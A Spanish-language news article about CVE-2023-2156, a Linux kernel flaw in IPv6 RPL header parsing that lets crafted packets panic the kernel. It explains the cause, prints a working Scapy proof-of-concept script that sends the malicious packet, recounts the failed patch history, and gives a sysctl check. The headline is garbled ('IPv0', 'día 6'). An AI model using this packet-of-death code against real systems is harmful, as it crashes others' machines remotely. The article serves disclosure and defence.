Vulnerabilidad de pila IPv0 de Linux de día 6 que permite el bloqueo remoto del kernel

Se ha divulgado información sobre una vulnerabilidad no corregida (día 0) (CVE-2023-2156) en el kernel de Linux, que permite detener el sistema mediante el envío de paquetes IPv6 especialmente diseñados (paquete-de-muerte). El problema solo aparece cuando está habilitado el soporte para el protocolo RPL (Protocolo de enrutamiento para redes con pérdida y bajo consumo), que está deshabilitado de forma predeterminada en las distribuciones y se usa principalmente en dispositivos integrados que operan en redes inalámbricas con alta pérdida de paquetes.

La vulnerabilidad es causada por el procesamiento incorrecto de datos externos en el código de análisis del protocolo RPL, lo que provoca una falla de afirmación y el kernel entra en estado de pánico. Al colocar los datos obtenidos al analizar el encabezado del paquete IPv6 RPL en la estructura k_buff (Socket Buffer), si el campo CmprI está configurado en 15, el campo Segleft en 1 y CmprE en 0, el vector de 48 bytes con direcciones se descomprime. a 528 bytes y aparece una situación en la que la memoria asignada para el búfer no es suficiente. En este caso, la función skb_push, utilizada para insertar datos en la estructura, verifica la inconmensurabilidad entre el tamaño de los datos y el búfer, generando un estado de pánico para evitar la escritura más allá del límite del búfer.

Explotación de ejemplo: # Usaremos Scapy para crear el paquete desde scapy.all import * import socket # Use IPv6 desde su interfaz LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Usamos sockets para enviar el paquete sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Elabora el paquete # Type = 3 lo convierte en un paquete RPL # Addresses contiene 3 direcciones, pero debido a que CmprI es 15, # cada octeto de las dos primeras direcciones es tratada como una dirección comprimida # Segleft = 1 para activar la amplificación # lastentry = 0xf0 establece CmprI en 15 y CmprE en 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, direcciones=[“a8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Envía este paquete malvado sockfd.sendto(bytes(p), (DST_ADDR, 0))

Cabe destacar que los desarrolladores del kernel fueron notificados de la vulnerabilidad en enero de 2022 y durante los últimos 15 meses intentaron solucionar el problema tres veces, lanzando parches en septiembre de 2022, octubre de 2022 y abril de 2023, pero cada vez las correcciones fueron no era suficiente y la vulnerabilidad no podía reproducirse. Al final, el proyecto ZDI, que coordinó el trabajo para solucionar la vulnerabilidad, decidió publicar información detallada sobre la vulnerabilidad sin esperar a que hubiera una solución funcional disponible en el kernel.

Por tanto, la vulnerabilidad sigue sin solucionarse. En particular, el parche incluido en el kernel 6.4-rc2 no es efectivo. Se recomienda a los usuarios que verifiquen que el protocolo RPL no se utilice en sus sistemas, lo que se puede hacer usando el comando sysctl -a | grep -i rpl_seg_enabled

Fuente: opennet.ru

Añadir un comentario